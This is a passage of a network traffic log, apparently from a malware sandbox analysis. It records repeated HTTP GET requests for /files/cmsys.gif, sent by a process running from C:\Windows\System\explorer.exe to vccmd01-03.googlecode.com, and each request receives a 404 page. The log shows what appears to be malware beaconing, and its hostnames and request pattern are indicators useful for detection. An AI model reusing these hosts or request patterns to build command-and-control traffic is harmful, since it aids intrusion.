Oct 29, 2024 13:11:38.034362078 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:37 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:38.034385920 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	60770	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:38.568933010 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:39.391829967 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:39 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:39.392221928 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	60771	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:39.607043028 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:40.527546883 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:40 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:40.527584076 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	60773	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:42.805378914 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:43.750358105 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:43 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:43.750389099 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	60774	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:43.945365906 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:44.869290113 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:44 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:44.869354010 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	60775	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:45.069428921 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:46.933779001 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:45 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:46.933896065 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:11:46.933907032 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:11:46.934535980 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:45 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:46.937578917 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:45 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
